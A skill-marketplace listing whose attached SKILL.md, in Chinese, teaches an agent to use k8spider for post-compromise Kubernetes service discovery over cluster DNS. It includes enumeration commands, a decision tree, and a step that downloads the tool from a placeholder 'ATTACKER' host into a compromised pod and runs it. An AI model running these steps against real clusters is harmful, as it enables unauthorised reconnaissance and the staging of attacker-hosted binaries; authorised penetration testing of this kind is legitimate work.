Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

K8spider

  • 24 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

k8spider is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

  • k8spider
  • AI & Agent Building
  • AI-coding skill

K8spider by the numbers

  • 24 all-time installs (skills.sh)
  • +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
  • Ranked #9,876 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill k8spider

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs24
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

K8Spider — Kubernetes DNS 服务发现

k8spider 是一个基于 DNS 的 K8s 服务发现工具——只需能访问集群 DNS,即可低权限枚举所有 Service。无需 API Server Token,无需特殊权限,纯 DNS 查询搞定。

项目地址:https://github.com/Esonhugh/k8spider

第一步:直接运行(使用默认参数)

k8spider 会从 /etc/resolv.conf 自动读取 DNS 服务器地址,使用内置默认 CIDR。先直接跑:

k8spider all

如果有输出,说明默认参数命中了,直接进入分析环节。

第二步:默认参数无结果时,手动收集网络信息

如果 k8spider all 没有发现任何信息,说明默认 CIDR 或 DNS 不对,需要从当前机器收集真实参数。

确定目标 CIDR(-c 参数)

CIDR 网段需要从当前容器的网络配置中提取:

# 方式 1:从环境变量获取(K8s 注入)
echo $KUBERNETES_SERVICE_HOST
# 返回的 IP 所在网段通常就是 Service CIDR 范围

# 方式 2:从 IP 地址推断
ip addr show  # 或 ifconfig
# 找到容器自身 IP 和掩码,推断所在网段

# 方式 3:从路由表推断
ip route
# 查看路由信息,推断集群网段范围

Pod 网段和 Service 网段通常是相邻的 /16,可从容器自身 IP 推断 Service CIDR 的可能范围。

确定并验证 DNS 服务器(-d 参数)

DNS 地址必须通过可靠方式找到并验证可用:

# 方式 1:从 resolv.conf 读取(最可靠)
cat /etc/resolv.conf
# nameserver 行就是集群 DNS 地址

# 方式 2:用 k8spider 自带命令定位
k8spider whereisdns

# 验证 DNS 是否可达且响应
nslookup kubernetes.default.svc.cluster.local <DNS_IP>
# 或
dig @<DNS_IP> kubernetes.default.svc.cluster.local
# 有正常应答说明 DNS 可用

验证通过后再指定 DNS 运行:

k8spider all -d <DNS_IP> -c <CIDR>

核心命令

全量扫描(推荐首选)

一键跑完所有发现方式,获取最全面的服务列表:

# 先用默认参数试
k8spider all

# 默认不生效时,用手动收集的参数
k8spider all -c <CIDR> -d <DNS_IP>

# 输出示例:
# [PTR] 10.43.0.10 -> dns-default.kube-system.svc.cluster.local
# [PTR] 10.43.0.1 -> kube-dns.kube-system.svc.cluster.local
# [SRV] _http._tcp.kubernetes.default.svc.cluster.local -> 10.43.0.1:443

PTR 记录扫描(反向 DNS)

通过 IP 反查域名,逐 IP 扫描网段:

k8spider ptr -c <CIDR>

PTR 扫描的逻辑:对 CIDR 中每个 IP 发起反向 DNS 查询,K8s DNS 会返回 svc-name.namespace.svc.cluster.local 格式的域名,直接暴露服务名和命名空间。

SRV 记录枚举

查询 DNS SRV 记录发现服务端口:

k8spider srv -c <CIDR> -z cluster.local

通配符 DNS 查询

利用 K8s DNS 的通配符解析特性发现服务:

k8spider wild -c <CIDR> -z cluster.local

AXFR 区域传输

尝试 DNS 区域传输,一次获取整个 zone 的所有记录:

k8spider axfr -z cluster.local -d <DNS_IP>

注意:AXFR 通常被限制,但值得一试——如果成功,这是最快最全的方式。

同网段扫描

发现 DNS 服务所在子网的服务:

k8spider neighbor -d <DNS_IP>

子网计算与扫描

自动计算 DNS 服务所在子网并扫描:

k8spider subnet -d <DNS_IP>

kube-state-metrics 解析

从 kube-state-metrics 端点提取服务信息:

k8spider metrics

全局选项

选项说明默认值
-c目标 CIDR 网段内置默认值,视环境而定
-zDNS zone 名称cluster.local
-dDNS 服务器地址从 resolv.conf 读取
-t启用多线程关闭
-n线程数10

使用场景

场景 1:Pod 内使用(已拿到容器 shell)

# 投递二进制到容器
curl -o /tmp/k8spider https://ATTACKER/k8spider && chmod +x /tmp/k8spider

# 直接用默认参数跑
/tmp/k8spider all

# 没结果再收集网络信息手动指定

场景 2:通过 kubectl 使用

# 在现有 Pod 中执行
kubectl exec -it target-pod -- ./k8spider all

# 或创建临时 Pod
kubectl run k8spider --image=busybox --restart=Never -- \
  wget -O /tmp/k8spider URL && /tmp/k8spider all

场景 3:远程使用(需 DNS 可达)

# 必须手动指定 -d 和 -c,远程环境下默认参数基本不适用
k8spider all -c <CIDR> -d <DNS_IP> -z cluster.local

决策树

进入容器后:
├─ 第一步:k8spider all(直接用默认参数跑)
├─ 有结果 → 分析输出,拿到服务列表
├─ 无结果 → 收集网络信息
│   ├─ 获取 CIDR:从 ip addr / ifconfig / 环境变量推断
│   ├─ 获取 DNS:cat /etc/resolv.conf 或 k8spider whereisdns
│   └─ 验证 DNS:nslookup kubernetes.default.svc.cluster.local <DNS_IP>
├─ 用收集到的参数重跑:k8spider all -c <CIDR> -d <DNS_IP>
├─ 想要端口信息 → k8spider srv
├─ 赌一把全量 → k8spider axfr
├─ 想快速发现 → k8spider neighbor / k8spider subnet
├─ 有 metrics 端点 → k8spider metrics
└─ 网段大、速度慢 → 加 -t -n 50 开多线程

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.